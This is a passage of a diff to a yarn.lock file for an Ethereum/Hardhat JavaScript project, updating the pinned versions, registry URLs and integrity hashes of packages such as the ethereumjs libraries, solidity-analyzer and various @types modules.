"@nomicfoundation/edr-darwin-arm64" "0.6.5" + "@nomicfoundation/edr-darwin-x64" "0.6.5" + "@nomicfoundation/edr-linux-arm64-gnu" "0.6.5" + "@nomicfoundation/edr-linux-arm64-musl" "0.6.5" + "@nomicfoundation/edr-linux-x64-gnu" "0.6.5" + "@nomicfoundation/edr-linux-x64-musl" "0.6.5" + "@nomicfoundation/edr-win32-x64-msvc" "0.6.5" + +"@nomicfoundation/ethereumjs-common@4.0.4": + version "4.0.4" + resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-common/-/ethereumjs-common-4.0.4.tgz#9901f513af2d4802da87c66d6f255b510bef5acb" + integrity sha512-9Rgb658lcWsjiicr5GzNCjI1llow/7r0k50dLL95OJ+6iZJcVbi15r3Y0xh2cIO+zgX0WIHcbzIu6FeQf9KPrg== dependencies: - "@nomicfoundation/ethereumjs-common" "3.1.2" - "@nomicfoundation/ethereumjs-rlp" "4.0.3" - "@nomicfoundation/ethereumjs-trie" "5.0.5" - "@nomicfoundation/ethereumjs-util" "8.0.6" - debug "^4.3.3" - ethereum-cryptography "0.1.3" - functional-red-black-tree "^1.0.1" + "@nomicfoundation/ethereumjs-util" "9.0.4" -"@nomicfoundation/ethereumjs-trie@5.0.5", "@nomicfoundation/ethereumjs-trie@^5.0.0": - version "5.0.5" - resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-trie/-/ethereumjs-trie-5.0.5.tgz#bf31c9306dcbba2007fad668e96109ddb147040c" - integrity sha512-+8sNZrXkzvA1NH5F4kz5RSYl1I6iaRz7mAZRsyxOm0IVY4UaP43Ofvfp/TwOalFunurQrYB5pRO40+8FBcxFMA== - dependencies: - "@nomicfoundation/ethereumjs-rlp" "4.0.3" - "@nomicfoundation/ethereumjs-util" "8.0.6" - ethereum-cryptography "0.1.3" - readable-stream "^3.6.0" +"@nomicfoundation/ethereumjs-rlp@5.0.4": + version "5.0.4" + resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-rlp/-/ethereumjs-rlp-5.0.4.tgz#66c95256fc3c909f6fb18f6a586475fc9762fa30" + integrity sha512-8H1S3s8F6QueOc/X92SdrA4RDenpiAEqMg5vJH99kcQaCy/a3Q6fgseo75mgWlbanGJXSlAPtnCeG9jvfTYXlw== -"@nomicfoundation/ethereumjs-tx@4.1.2", "@nomicfoundation/ethereumjs-tx@^4.0.0": - version "4.1.2" - resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-tx/-/ethereumjs-tx-4.1.2.tgz#8659fad7f9094b7eb82aa6cc3c8097cb1c42ff31" - integrity sha512-emJBJZpmTdUa09cqxQqHaysbBI9Od353ZazeH7WgPb35miMgNY6mb7/3vBA98N5lUW/rgkiItjX0KZfIzihSoQ== +"@nomicfoundation/ethereumjs-tx@5.0.4": + version "5.0.4" + resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-tx/-/ethereumjs-tx-5.0.4.tgz#b0ceb58c98cc34367d40a30d255d6315b2f456da" + integrity sha512-Xjv8wAKJGMrP1f0n2PeyfFCCojHd7iS3s/Ab7qzF1S64kxZ8Z22LCMynArYsVqiFx6rzYy548HNVEyI+AYN/kw== dependencies: - "@nomicfoundation/ethereumjs-common" "3.1.2" - "@nomicfoundation/ethereumjs-rlp" "4.0.3" - "@nomicfoundation/ethereumjs-util" "8.0.6" + "@nomicfoundation/ethereumjs-common" "4.0.4" + "@nomicfoundation/ethereumjs-rlp" "5.0.4" + "@nomicfoundation/ethereumjs-util" "9.0.4" ethereum-cryptography "0.1.3" -"@nomicfoundation/ethereumjs-util@8.0.6", "@nomicfoundation/ethereumjs-util@^8.0.0": - version "8.0.6" - resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-util/-/ethereumjs-util-8.0.6.tgz#dbce5d258b017b37aa58b3a7c330ad59d10ccf0b" - integrity sha512-jOQfF44laa7xRfbfLXojdlcpkvxeHrE2Xu7tSeITsWFgoII163MzjOwFEzSNozHYieFysyoEMhCdP+NY5ikstw== +"@nomicfoundation/ethereumjs-util@9.0.4": + version "9.0.4" + resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-util/-/ethereumjs-util-9.0.4.tgz#84c5274e82018b154244c877b76bc049a4ed7b38" + integrity sha512-sLOzjnSrlx9Bb9EFNtHzK/FJFsfg2re6bsGqinFinH1gCqVfz9YYlXiMWwDM4C/L4ywuHFCYwfKTVr/QHQcU0Q== dependencies: - "@nomicfoundation/ethereumjs-rlp" "4.0.3" + "@nomicfoundation/ethereumjs-rlp" "5.0.4" ethereum-cryptography "0.1.3" -"@nomicfoundation/ethereumjs-vm@^6.0.0": - version "6.4.2" - resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-vm/-/ethereumjs-vm-6.4.2.tgz#af1cf62e6c0054bc2b7febc8556d032433d1b18c" - integrity sha512-PRTyxZMP6kx+OdAzBhuH1LD2Yw+hrSpaytftvaK//thDy2OI07S0nrTdbrdk7b8ZVPAc9H9oTwFBl3/wJ3w15g== - dependencies: - "@nomicfoundation/ethereumjs-block" "4.2.2" - "@nomicfoundation/ethereumjs-blockchain" "6.2.2" - "@nomicfoundation/ethereumjs-common" "3.1.2" - "@nomicfoundation/ethereumjs-evm" "1.3.2" - "@nomicfoundation/ethereumjs-rlp" "4.0.3" - "@nomicfoundation/ethereumjs-statemanager" "1.0.5" - "@nomicfoundation/ethereumjs-trie" "5.0.5" - "@nomicfoundation/ethereumjs-tx" "4.1.2" - "@nomicfoundation/ethereumjs-util" "8.0.6" - "@types/async-eventemitter" "^0.2.1" - async-eventemitter "^0.2.4" - debug "^4.3.3" - ethereum-cryptography "0.1.3" - functional-red-black-tree "^1.0.1" - mcl-wasm "^0.7.1" - rustbn.js "~0.2.0" - -"@nomicfoundation/solidity-analyzer-darwin-arm64@0.1.1": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-darwin-arm64/-/solidity-analyzer-darwin-arm64-0.1.1.tgz#4c858096b1c17fe58a474fe81b46815f93645c15" - integrity sha512-KcTodaQw8ivDZyF+D76FokN/HdpgGpfjc/gFCImdLUyqB6eSWVaZPazMbeAjmfhx3R0zm/NYVzxwAokFKgrc0w== - -"@nomicfoundation/solidity-analyzer-darwin-x64@0.1.1": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-darwin-x64/-/solidity-analyzer-darwin-x64-0.1.1.tgz#6e25ccdf6e2d22389c35553b64fe6f3fdaec432c" - integrity sha512-XhQG4BaJE6cIbjAVtzGOGbK3sn1BO9W29uhk9J8y8fZF1DYz0Doj8QDMfpMu+A6TjPDs61lbsmeYodIDnfveSA== - -"@nomicfoundation/solidity-analyzer-freebsd-x64@0.1.1": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-freebsd-x64/-/solidity-analyzer-freebsd-x64-0.1.1.tgz#0a224ea50317139caeebcdedd435c28a039d169c" - integrity sha512-GHF1VKRdHW3G8CndkwdaeLkVBi5A9u2jwtlS7SLhBc8b5U/GcoL39Q+1CSO3hYqePNP+eV5YI7Zgm0ea6kMHoA== - -"@nomicfoundation/solidity-analyzer-linux-arm64-gnu@0.1.1": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-arm64-gnu/-/solidity-analyzer-linux-arm64-gnu-0.1.1.tgz#dfa085d9ffab9efb2e7b383aed3f557f7687ac2b" - integrity sha512-g4Cv2fO37ZsUENQ2vwPnZc2zRenHyAxHcyBjKcjaSmmkKrFr64yvzeNO8S3GBFCo90rfochLs99wFVGT/0owpg== +"@nomicfoundation/solidity-analyzer-darwin-arm64@0.1.2": + version "0.1.2" + resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-darwin-arm64/-/solidity-analyzer-darwin-arm64-0.1.2.tgz#3a9c3b20d51360b20affb8f753e756d553d49557" + integrity sha512-JaqcWPDZENCvm++lFFGjrDd8mxtf+CtLd2MiXvMNTBD33dContTZ9TWETwNFwg7JTJT5Q9HEecH7FA+HTSsIUw== -"@nomicfoundation/solidity-analyzer-linux-arm64-musl@0.1.1": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-arm64-musl/-/solidity-analyzer-linux-arm64-musl-0.1.1.tgz#c9e06b5d513dd3ab02a7ac069c160051675889a4" - integrity sha512-WJ3CE5Oek25OGE3WwzK7oaopY8xMw9Lhb0mlYuJl/maZVo+WtP36XoQTb7bW/i8aAdHW5Z+BqrHMux23pvxG3w== +"@nomicfoundation/solidity-analyzer-darwin-x64@0.1.2": + version "0.1.2" + resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-darwin-x64/-/solidity-analyzer-darwin-x64-0.1.2.tgz#74dcfabeb4ca373d95bd0d13692f44fcef133c28" + integrity sha512-fZNmVztrSXC03e9RONBT+CiksSeYcxI1wlzqyr0L7hsQlK1fzV+f04g2JtQ1c/Fe74ZwdV6aQBdd6Uwl1052sw== -"@nomicfoundation/solidity-analyzer-linux-x64-gnu@0.1.1": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-x64-gnu/-/solidity-analyzer-linux-x64-gnu-0.1.1.tgz#8d328d16839e52571f72f2998c81e46bf320f893" - integrity sha512-5WN7leSr5fkUBBjE4f3wKENUy9HQStu7HmWqbtknfXkkil+eNWiBV275IOlpXku7v3uLsXTOKpnnGHJYI2qsdA== +"@nomicfoundation/solidity-analyzer-linux-arm64-gnu@0.1.2": + version "0.1.2" + resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-arm64-gnu/-/solidity-analyzer-linux-arm64-gnu-0.1.2.tgz#4af5849a89e5a8f511acc04f28eb5d4460ba2b6a" + integrity sha512-3d54oc+9ZVBuB6nbp8wHylk4xh0N0Gc+bk+/uJae+rUgbOBwQSfuGIbAZt1wBXs5REkSmynEGcqx6DutoK0tPA== -"@nomicfoundation/solidity-analyzer-linux-x64-musl@0.1.1": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-x64-musl/-/solidity-analyzer-linux-x64-musl-0.1.1.tgz#9b49d0634b5976bb5ed1604a1e1b736f390959bb" - integrity sha512-KdYMkJOq0SYPQMmErv/63CwGwMm5XHenEna9X9aB8mQmhDBrYrlAOSsIPgFCUSL0hjxE3xHP65/EPXR/InD2+w== +"@nomicfoundation/solidity-analyzer-linux-arm64-musl@0.1.2": + version "0.1.2" + resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-arm64-musl/-/solidity-analyzer-linux-arm64-musl-0.1.2.tgz#54036808a9a327b2ff84446c130a6687ee702a8e" + integrity sha512-iDJfR2qf55vgsg7BtJa7iPiFAsYf2d0Tv/0B+vhtnI16+wfQeTbP7teookbGvAo0eJo7aLLm0xfS/GTkvHIucA== -"@nomicfoundation/solidity-analyzer-win32-arm64-msvc@0.1.1": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-win32-arm64-msvc/-/solidity-analyzer-win32-arm64-msvc-0.1.1.tgz#e2867af7264ebbcc3131ef837878955dd6a3676f" - integrity sha512-VFZASBfl4qiBYwW5xeY20exWhmv6ww9sWu/krWSesv3q5hA0o1JuzmPHR4LPN6SUZj5vcqci0O6JOL8BPw+APg== +"@nomicfoundation/solidity-analyzer-linux-x64-gnu@0.1.2": + version "0.1.2" + resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-x64-gnu/-/solidity-analyzer-linux-x64-gnu-0.1.2.tgz#466cda0d6e43691986c944b909fc6dbb8cfc594e" + integrity sha512-9dlHMAt5/2cpWyuJ9fQNOUXFB/vgSFORg1jpjX1Mh9hJ/MfZXlDdHQ+DpFCs32Zk5pxRBb07yGvSHk9/fezL+g== -"@nomicfoundation/solidity-analyzer-win32-ia32-msvc@0.1.1": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-win32-ia32-msvc/-/solidity-analyzer-win32-ia32-msvc-0.1.1.tgz#0685f78608dd516c8cdfb4896ed451317e559585" - integrity sha512-JnFkYuyCSA70j6Si6cS1A9Gh1aHTEb8kOTBApp/c7NRTFGNMH8eaInKlyuuiIbvYFhlXW4LicqyYuWNNq9hkpQ== +"@nomicfoundation/solidity-analyzer-linux-x64-musl@0.1.2": + version "0.1.2" + resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-x64-musl/-/solidity-analyzer-linux-x64-musl-0.1.2.tgz#2b35826987a6e94444140ac92310baa088ee7f94" + integrity sha512-GzzVeeJob3lfrSlDKQw2bRJ8rBf6mEYaWY+gW0JnTDHINA0s2gPR4km5RLIj1xeZZOYz4zRw+AEeYgLRqB2NXg== -"@nomicfoundation/solidity-analyzer-win32-x64-msvc@0.1.1": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-win32-x64-msvc/-/solidity-analyzer-win32-x64-msvc-0.1.1.tgz#c9a44f7108646f083b82e851486e0f6aeb785836" - integrity sha512-HrVJr6+WjIXGnw3Q9u6KQcbZCtk0caVWhCdFADySvRyUxJ8PnzlaP+MhwNE8oyT8OZ6ejHBRrrgjSqDCFXGirw== +"@nomicfoundation/solidity-analyzer-win32-x64-msvc@0.1.2": + version "0.1.2" + resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-win32-x64-msvc/-/solidity-analyzer-win32-x64-msvc-0.1.2.tgz#e6363d13b8709ca66f330562337dbc01ce8bbbd9" + integrity sha512-Fdjli4DCcFHb4Zgsz0uEJXZ2K7VEO+w5KVv7HmT7WO10iODdU9csC2az4jrhEsRtiR9Gfd74FlG0NYlw1BMdyA== "@nomicfoundation/solidity-analyzer@^0.1.0": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer/-/solidity-analyzer-0.1.1.tgz#f5f4d36d3f66752f59a57e7208cd856f3ddf6f2d" - integrity sha512-1LMtXj1puAxyFusBgUIy5pZk3073cNXYnXUpuNKFghHbIit/xZgbk0AokpUADbNm3gyD6bFWl3LRFh3dhVdREg== + version "0.1.2" + resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer/-/solidity-analyzer-0.1.2.tgz#8bcea7d300157bf3a770a851d9f5c5e2db34ac55" + integrity sha512-q4n32/FNKIhQ3zQGGw5CvPF6GTvDCpYwIf7bEY/dZTZbgfDsHyjJwURxUJf3VQuuJj+fDIFl4+KkBVbw4Ef6jA== optionalDependencies: - "@nomicfoundation/solidity-analyzer-darwin-arm64" "0.1.1" - "@nomicfoundation/solidity-analyzer-darwin-x64" "0.1.1" - "@nomicfoundation/solidity-analyzer-freebsd-x64" "0.1.1" - "@nomicfoundation/solidity-analyzer-linux-arm64-gnu" "0.1.1" - "@nomicfoundation/solidity-analyzer-linux-arm64-musl" "0.1.1" - "@nomicfoundation/solidity-analyzer-linux-x64-gnu" "0.1.1" - "@nomicfoundation/solidity-analyzer-linux-x64-musl" "0.1.1" - "@nomicfoundation/solidity-analyzer-win32-arm64-msvc" "0.1.1" - "@nomicfoundation/solidity-analyzer-win32-ia32-msvc" "0.1.1" - "@nomicfoundation/solidity-analyzer-win32-x64-msvc" "0.1.1" + "@nomicfoundation/solidity-analyzer-darwin-arm64" "0.1.2" + "@nomicfoundation/solidity-analyzer-darwin-x64" "0.1.2" + "@nomicfoundation/solidity-analyzer-linux-arm64-gnu" "0.1.2" + "@nomicfoundation/solidity-analyzer-linux-arm64-musl" "0.1.2" + "@nomicfoundation/solidity-analyzer-linux-x64-gnu" "0.1.2" + "@nomicfoundation/solidity-analyzer-linux-x64-musl" "0.1.2" + "@nomicfoundation/solidity-analyzer-win32-x64-msvc" "0.1.2" "@nomiclabs/hardhat-ethers@^2.0.2": - version "2.0.3" - resolved "https://registry.yarnpkg.com/@nomiclabs/hardhat-ethers/-/hardhat-ethers-2.0.3.tgz#06e20a57274f6ce3148132910e723948a711edf1" - integrity sha512-IJ0gBotVtO7YyLZyHNgbxzskUtFok+JkRlKPo8YELqj1ms9XL6Qm3vsfsGdZr22wnJeVEF5TQPotKuwQk21Dag== + version "2.2.3" + resolved "https://registry.yarnpkg.com/@nomiclabs/hardhat-ethers/-/hardhat-ethers-2.2.3.tgz#b41053e360c31a32c2640c9a45ee981a7e603fe0" + integrity sha512-YhzPdzb612X591FOe68q+qXVXGG2ANZRvDo0RRUtimev85rCrAlv/TLMEZw5c+kq9AbzocLTVX/h2jVIFPL9Xg== "@nomiclabs/hardhat-etherscan@^2.1.6": version "2.1.8" @@ -789,12 +729,9 @@ semver "^6.3.0" "@nomiclabs/hardhat-waffle@^2.0.1": - version "2.0.1" - resolved "https://registry.yarnpkg.com/@nomiclabs/hardhat-waffle/-/hardhat-waffle-2.0.1.tgz#5d43654fba780720c5033dea240fe14f70ef4bd2" - integrity sha512-2YR2V5zTiztSH9n8BYWgtv3Q+EL0N5Ltm1PAr5z20uAY4SkkfylJ98CIqt18XFvxTD5x4K2wKBzddjV9ViDAZQ== - dependencies: - "@types/sinon-chai" "^3.2.3" - "@types/web3" "1.0.19" + version "2.0.6" + resolved "https://registry.yarnpkg.com/@nomiclabs/hardhat-waffle/-/hardhat-waffle-2.0.6.tgz#d11cb063a5f61a77806053e54009c40ddee49a54" + integrity sha512-+Wz0hwmJGSI17B+BhU/qFRZ1l6/xMW82QGXE/Gi+WTmwgJrQefuBs1lIf7hzQ1hLk6hpkvb/zwcNkpVKRYTQYg== "@openzeppelin/contracts@4.8.2": version "4.8.2" @@ -839,9 +776,9 @@ url "^0.11.0" "@scure/base@~1.1.0": - version "1.1.1" - resolved "https://registry.yarnpkg.com/@scure/base/-/base-1.1.1.tgz#ebb651ee52ff84f420097055f4bf46cfba403938" - integrity sha512-ZxOhsSyxYwLJj3pLZCefNitxsj093tb2vq90mp2txoYeBqbcjDjqFhyM8eUjq/uFm6zJ+mUuqxlS2FkuSY1MTA== + version "1.1.9" + resolved "https://registry.yarnpkg.com/@scure/base/-/base-1.1.9.tgz#e5e142fbbfe251091f9c5f1dd4c834ac04c3dbd1" + integrity sha512-8YKhl8GHiNI/pU2VMaofa2Tor7PJRAjwQLBBuilkJ9L5+13yVbC7JO/wS7piioAvPSwR3JKM1IJ/u4xQzbcXKg== "@scure/bip32@1.1.5": version "1.1.5" @@ -928,20 +865,6 @@ "@sentry/types" "5.30.0" tslib "^1.9.3" -"@sinonjs/commons@^1.7.0": - version "1.8.3" - resolved "https://registry.yarnpkg.com/@sinonjs/commons/-/commons-1.8.3.tgz#3802ddd21a50a949b6721ddd72da36e67e7f1b2d" - integrity sha512-xkNcLAn/wZaX14RPlwizcKicDk9G3F8m2nU3L7Ukm5zBgTwiT0wsoFAHx9Jq56fJA1z/7uKGtCRu16sOUCLIHQ== - dependencies: - type-detect "4.0.8" - -"@sinonjs/fake-timers@^7.1.0": - version "7.1.2" - resolved "https://registry.yarnpkg.com/@sinonjs/fake-timers/-/fake-timers-7.1.2.tgz#2524eae70c4910edccf99b2f4e6efc5894aff7b5" - integrity sha512-iQADsW4LBMISqZ6Ci1dupJL9pprqwcVFTcOsEmQOEhW+KLCVn/Y4Jrvg2k19fIHCp+iFprriYPTdRcQR8NbUPg== - dependencies: - "@sinonjs/commons" "^1.7.0" - "@trufflesuite/bigint-buffer@1.1.10": version "1.1.10" resolved "https://registry.yarnpkg.com/@trufflesuite/bigint-buffer/-/bigint-buffer-1.1.10.tgz#a1d9ca22d3cad1a138b78baaf15543637a3e1692" @@ -957,49 +880,37 @@ node-gyp-build "4.3.0" "@tsconfig/node10@^1.0.7": - version "1.0.8" - resolved "https://registry.yarnpkg.com/@tsconfig/node10/-/node10-1.0.8.tgz#c1e4e80d6f964fbecb3359c43bd48b40f7cadad9" - integrity sha512-6XFfSQmMgq0CFLY1MslA/CPUfhIL919M1rMsa5lP2P097N2Wd1sSX0tx1u4olM16fLNhtHZpRhedZJphNJqmZg== + version "1.0.11" + resolved "https://registry.yarnpkg.com/@tsconfig/node10/-/node10-1.0.11.tgz#6ee46400685f130e278128c7b38b7e031ff5b2f2" + integrity sha512-DcRjDCujK/kCk/cUe8Xz8ZSpm8mS3mNNpta+jGCA6USEDfktlNvm1+IuZ9eTcDbNk41BHwpHHeW+N1lKCz4zOw== "@tsconfig/node12@^1.0.7": - version "1.0.9" - resolved "https://registry.yarnpkg.com/@tsconfig/node12/-/node12-1.0.9.tgz#62c1f6dee2ebd9aead80dc3afa56810e58e1a04c" - integrity sha512-/yBMcem+fbvhSREH+s14YJi18sp7J9jpuhYByADT2rypfajMZZN4WQ6zBGgBKp53NKmqI36wFYDb3yaMPurITw== + version "1.0.11" + resolved "https://registry.yarnpkg.com/@tsconfig/node12/-/node12-1.0.11.tgz#ee3def1f27d9ed66dac6e46a295cffb0152e058d" + integrity sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag== "@tsconfig/node14@^1.0.0": - version "1.0.1" - resolved "https://registry.yarnpkg.com/@tsconfig/node14/-/node14-1.0.1.tgz#95f2d167ffb9b8d2068b0b235302fafd4df711f2" - integrity sha512-509r2+yARFfHHE7T6Puu2jjkoycftovhXRqW328PDXTVGKihlb1P8Z9mMZH04ebyajfRY7dedfGynlrFHJUQCg== + version "1.0.3" + resolved "https://registry.yarnpkg.com/@tsconfig/node14/-/node14-1.0.3.tgz#e4386316284f00b98435bf40f72f75a09dabf6c1" + integrity sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow== "@tsconfig/node16@^1.0.2": - version "1.0.2" - resolved "https://registry.yarnpkg.com/@tsconfig/node16/-/node16-1.0.2.tgz#423c77877d0569db20e1fc80885ac4118314010e" - integrity sha512-eZxlbI8GZscaGS7kkc/trHTT5xgrjH3/1n2JDwusC9iahPKWMRvRjJSAN5mCXviuTGQ/lHnhvv8Q1YTpnfz9gA== + version "1.0.4" + resolved "https://registry.yarnpkg.com/@tsconfig/node16/-/node16-1.0.4.tgz#0b92dcc0cc1c81f6f306a381f28e31b1a56536e9" + integrity sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA== "@typechain/ethers-v5@^10.0.0": - version "10.2.0" - resolved "https://registry.yarnpkg.com/@typechain/ethers-v5/-/ethers-v5-10.2.0.tgz#68f5963efb5214cb2d881477228e4b5b315473e1" - integrity sha512-ikaq0N/w9fABM+G01OFmU3U3dNnyRwEahkdvi9mqy1a3XwKiPZaF/lu54OcNaEWnpvEYyhhS0N7buCtLQqC92w== + version "10.2.1" + resolved "https://registry.yarnpkg.com/@typechain/ethers-v5/-/ethers-v5-10.2.1.tgz#50241e6957683281ecfa03fb5a6724d8a3ce2391" + integrity sha512-n3tQmCZjRE6IU4h6lqUGiQ1j866n5MTCBJreNEHHVWXa2u9GJTaeYyU1/k+1qLutkyw+sS6VAN+AbeiTqsxd/A== dependencies: lodash "^4.17.15" ts-essentials "^7.0.1" "@types/abstract-leveldown@*": - version "7.2.1" - resolved "https://registry.yarnpkg.com/@types/abstract-leveldown/-/abstract-leveldown-7.2.1.tgz#bb16403c17754b0c4d5772d71d03b924a03d4c80" - integrity sha512-YK8irIC+eMrrmtGx0H4ISn9GgzLd9dojZWJaMbjp1YHLl2VqqNFBNrL5Q3KjGf4VE3sf/4hmq6EhQZ7kZp1NoQ== - -"@types/async-eventemitter@^0.2.1": - version "0.2.1" - resolved "https://registry.yarnpkg.com/@types/async-eventemitter/-/async-eventemitter-0.2.1.tgz#f8e6280e87e8c60b2b938624b0a3530fb3e24712" - integrity sha512-M2P4Ng26QbAeITiH7w1d7OxtldgfAe0wobpyJzVK/XOb0cUGKU2R4pfAhqcJBXAe2ife5ZOhSv4wk7p+ffURtg== - -"@types/bn.js@*", "@types/bn.js@^5.1.0": - version "5.1.0" - resolved "https://registry.yarnpkg.com/@types/bn.js/-/bn.js-5.1.0.tgz#32c5d271503a12653c62cf4d2b45e6eab8cebc68" - integrity sha512-QSSVYj7pYFN49kW77o2s9xTCwZ8F2xLbjLLSEVh8D2F4JUhZtPAGOFLTD+ffqksBx/u4cE/KImFjyhqCjn/LIA== - dependencies: - "@types/node" "*" + version "7.2.5" + resolved "https://registry.yarnpkg.com/@types/abstract-leveldown/-/abstract-leveldown-7.2.5.tgz#db2cf364c159fb1f12be6cd3549f56387eaf8d73" + integrity sha512-/2B0nQF4UdupuxeKTJA2+Rj1D+uDemo6P4kMwKCpbfpnzeVaWSELTsAw4Lxn3VJD6APtRrZOCuYo+4nHUQfTfg== "@types/bn.js@^4.11.3": version "4.11.6" @@ -1008,15 +919,17 @@ dependencies: "@types/node" "*" -"@types/chai@*": - version "4.3.0" - resolved "https://registry.yarnpkg.com/@types/chai/-/chai-4.3.0.tgz#23509ebc1fa32f1b4d50d6a66c4032d5b8eaabdc" - integrity sha512-/ceqdqeRraGolFTcfoXNiqjyQhZzbINDngeoAq9GoHa8PPK1yNzTaxWjA6BFWp5Ua9JpXEMSS4s5i9tS0hOJtw== +"@types/bn.js@^5.1.0": + version "5.1.6" + resolved "https://registry.yarnpkg.com/@types/bn.js/-/bn.js-5.1.6.tgz#9ba818eec0c85e4d3c679518428afdf611d03203" + integrity sha512-Xh8vSwUeMKeYYrj3cX4lGQgFSF/N03r+tv4AiLl1SucqV+uTQpxRcnM8AkXKHwYP9ZPXOYXRr2KPXpVlIvqh9w== + dependencies: + "@types/node" "*" "@types/level-errors@*": - version "3.0.0" - resolved "https://registry.yarnpkg.com/@types/level-errors/-/level-errors-3.0.0.tgz#15c1f4915a5ef763b51651b15e90f6dc081b96a8" - integrity sha512-/lMtoq/Cf/2DVOm6zE6ORyOM+3ZVm/BvzEZVxUhf6bgh8ZHglXlBqxbxSlJeVp8FCbD3IVvk/VbsaNmDjrQvqQ== + version "3.0.2" + resolved "https://registry.yarnpkg.com/@types/level-errors/-/level-errors-3.0.2.tgz#f33ec813c50780b547463da9ad8acac89ee457d9" + integrity sha512-gyZHbcQ2X5hNXf/9KS2qGEmgDe9EN2WDM3rJ5Ele467C0nA1sLhtmv1bZiPMDYfAYCfPWft0uQIaTvXbASSTRA== "@types/levelup@^4.3.0": version "4.3.3" @@ -1040,17 +953,19 @@ "@types/node" "*" "@types/node-fetch@^2.6.1": - version "2.6.2" - resolved "https://registry.yarnpkg.com/@types/node-fetch/-/node-fetch-2.6.2.tgz#d1a9c5fd049d9415dce61571557104dec3ec81da" - integrity sha512-DHqhlq5jeESLy19TYhLakJ07kNumXWjcDdxXsLUMJZ6ue8VZJj4kLPQVE/2mdHh3xZziNF1xppu5lwmS53HR+A== + version "2.6.12" + resolved "https://registry.yarnpkg.com/@types/node-fetch/-/node-fetch-2.6.12.tgz#8ab5c3ef8330f13100a7479e2cd56d3386830a03" + integrity sha512-8nneRWKCg3rMtF69nLQJnOYUcbafYeFSjqkw3jCRLsqkWFlHaoQrr5mXmofFGOx3DKn7UfmBMyov8ySvLRVldA== dependencies: "@types/node" "*" - form-data "^3.0.0" + form-data "^4.0.0" "@types/node@*": - version "16.11.12" - resolved "https://registry.yarnpkg.com/@types/node/-/node-16.11.12.tgz#ac7fb693ac587ee182c3780c26eb65546a1a3c10" - integrity sha512-+2Iggwg7PxoO5Kyhvsq9VarmPbIelXP070HMImEpbtGCoyWNINQj4wzjbQCXzdHTRXnqufutJb5KAURZANNBAw== + version "22.10.2" + resolved "https://registry.yarnpkg.com/@types/node/-/node-22.10.2.tgz#a485426e6d1fdafc7b0d4c7b24e2c78182ddabb9" + integrity sha512-Xxr6BBRCAOQixvonOye19wnzyDiUtTeqldOOmj3CkeblonbccA12PFwlufvRdrpjXxqnmUaeiU5EOA+7s5diUQ== + dependencies: + undici-types "~6.20.0" "@types/node@11.11.6": version "11.11.6" @@ -1058,21 +973,21 @@ integrity sha512-Exw4yUWMBXM3X+8oqzJNRqZSwUAaS4+7NdvHqQuFi/d+synz++xmX3QIf+BFqneW8N31R8Ky+sikfZUXq07ggQ== "@types/pbkdf2@^3.0.0": - version "3.1.0" - resolved "https://registry.yarnpkg.com/@types/pbkdf2/-/pbkdf2-3.1.0.tgz#039a0e9b67da0cdc4ee5dab865caa6b267bb66b1" - integrity sha512-Cf63Rv7jCQ0LaL8tNXmEyqTHuIJxRdlS5vMh1mj5voN4+QFhVZnlZruezqpWYDiJ8UTzhP0VmeLXCmBk66YrMQ== + version "3.1.2" + resolved "https://registry.yarnpkg.com/@types/pbkdf2/-/pbkdf2-3.1.2.tgz#2dc43808e9985a2c69ff02e2d2027bd4fe33e8dc" + integrity sha512-uRwJqmiXmh9++aSu1VNEn3iIxWOhd8AHXNSdlaLfdAAdSTY9jYVeGWnzejM3dvrkbqE3/hyQkQQ29IFATEGlew== dependencies: "@types/node" "*" "@types/prettier@^2.1.1": - version "2.4.2" - resolved "https://registry.yarnpkg.com/@types/prettier/-/prettier-2.4.2.tgz#4c62fae93eb479660c3bd93f9d24d561597a8281" - integrity sha512-ekoj4qOQYp7CvjX8ZDBgN86w3MqQhLE1hczEJbEIjgFEumDy+na/4AJAbLXfgEWFNB2pKadM5rPFtuSGMWK7xA== + version "2.7.3" + resolved "https://registry.yarnpkg.com/@types/prettier/-/prettier-2.7.3.tgz#3e51a17e291d01d17d3fc61422015a933af7a08f" + integrity 